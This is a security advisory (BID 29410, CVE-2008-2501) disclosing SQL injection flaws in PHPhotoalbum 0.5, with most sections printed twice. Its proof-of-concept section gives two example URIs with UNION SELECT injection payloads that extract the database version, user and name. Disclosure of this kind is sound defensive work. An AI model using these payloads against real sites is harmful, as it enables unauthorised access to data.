PHPhotoalbum Multiple SQL Injection Vulnerabilities
BID:29410
Info
PHPhotoalbum Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 29410 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2501 |
| Remote: | Yes |
| Local: | No |
| Published: | May 28 2008 12:00AM |
| Updated: | May 28 2008 12:00AM |
| Credit: | cOndemned |
| Vulnerable: |
Henning Stoverud PHPhotogallery 0.5 |
| Not Vulnerable: | |
Discussion
PHPhotoalbum Multiple SQL Injection Vulnerabilities
PHPhotoalbum is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHPhotoalbum 0.5 is vulnerable; other versions may also be affected.
PHPhotoalbum is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHPhotoalbum 0.5 is vulnerable; other versions may also be affected.
Exploit / POC
PHPhotoalbum Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/thumbnails.php?album=-1+union+select+concat_ws(0x10,now(),version(),user(),database())/*
http://www.example.com/displayimage.php?pid=-1+union+select+1,2,3,now(),version(),user()/*
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/thumbnails.php?album=-1+union+select+concat_ws(0x10,now(),version(),user(),database())/*
http://www.example.com/displayimage.php?pid=-1+union+select+1,2,3,now(),version(),user()/*
Solution / Fix
PHPhotoalbum Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHPhotoalbum Multiple SQL Injection Vulnerabilities
References:
References:
- PHPhotoalbum Homepage (Henning Stoverud)